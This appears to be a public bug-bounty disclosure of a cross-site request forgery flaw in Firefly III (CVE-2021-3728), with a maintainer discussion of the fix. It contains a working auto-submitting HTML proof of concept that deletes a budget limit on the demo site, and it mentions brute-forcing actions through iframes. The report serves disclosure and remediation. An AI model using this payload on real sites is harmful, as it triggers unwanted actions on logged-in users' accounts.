Cross-Site Request Forgery (CSRF) in firefly-iii/firefly-iii

0

Valid Reported on Aug 20th 2021

✍️ Description

Attacker able to Remove budgeted amount with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

🦹 Proof of Concept

1.fisrt admin already should be logged in Browser.
2.Open the PoC.html (it is auto-submit).
3.If the current id be 28 then Here a Remove budgeted amount with will be deleted after the PoC.html file opened.
// PoC.html

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.firefly-iii.org/budget-limits/delete/28">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions (with using multiple Iframe)

💥 Impact

This vulnerability is capable of delete budgeted amounts

Fix

The easiest way that you set `strict` attribute on each cookie, Or you set `Lax` and Use `GET` requests only for receiving data not changing them.
The best way is that you set a CSRF token in each endpoint.

Occurrences

web.php L285

CVE
CVE-2021-3728
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (6.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

amammad
@amammad
pro

Fixed by

James Cole
@jc5
maintainer

This report was seen 445 times.

We have contacted a member of the **firefly-iii** team and are waiting to hear back a year ago

James Cole validated this vulnerability a year ago

amammad has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

James Cole a year ago Maintainer

Nice find. Fixed in "develop"-branch, and the code will be part of the normal release cycle. Please confirm on the demo site, demo.firefly-iii.org.

James Cole marked this as fixed with commit **14cdce** a year ago

James Cole has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

amammad a year ago Researcher

Yah thanks for your motivation, do you see other CSRFs?

amammad a year ago Researcher

I see On demo site nothings, when click on remove `Remove budgeted amount in Euro` current page redirect to main page.

James Cole a year ago Maintainer

Works for me (tm). Maybe a cache thing?

amammad a year ago Researcher

No I try again multiple times and also clean the cache and cookies and login with `demo@firefly` and again just redirect to main page.
I trying to delete these budgeted amount :

```
Going out (Euro) Going out (US Dollar)
```

James Cole a year ago Maintainer

Sorry, it seems to work for me. If I click the little dropdown next to any set budget (any currency) it disappears. I tried Chrome + Firefox.

Jamie Slome a year ago Admin

CVE published! It should be made publically available via MITRE/NVD shortly.

Sign in to join this conversation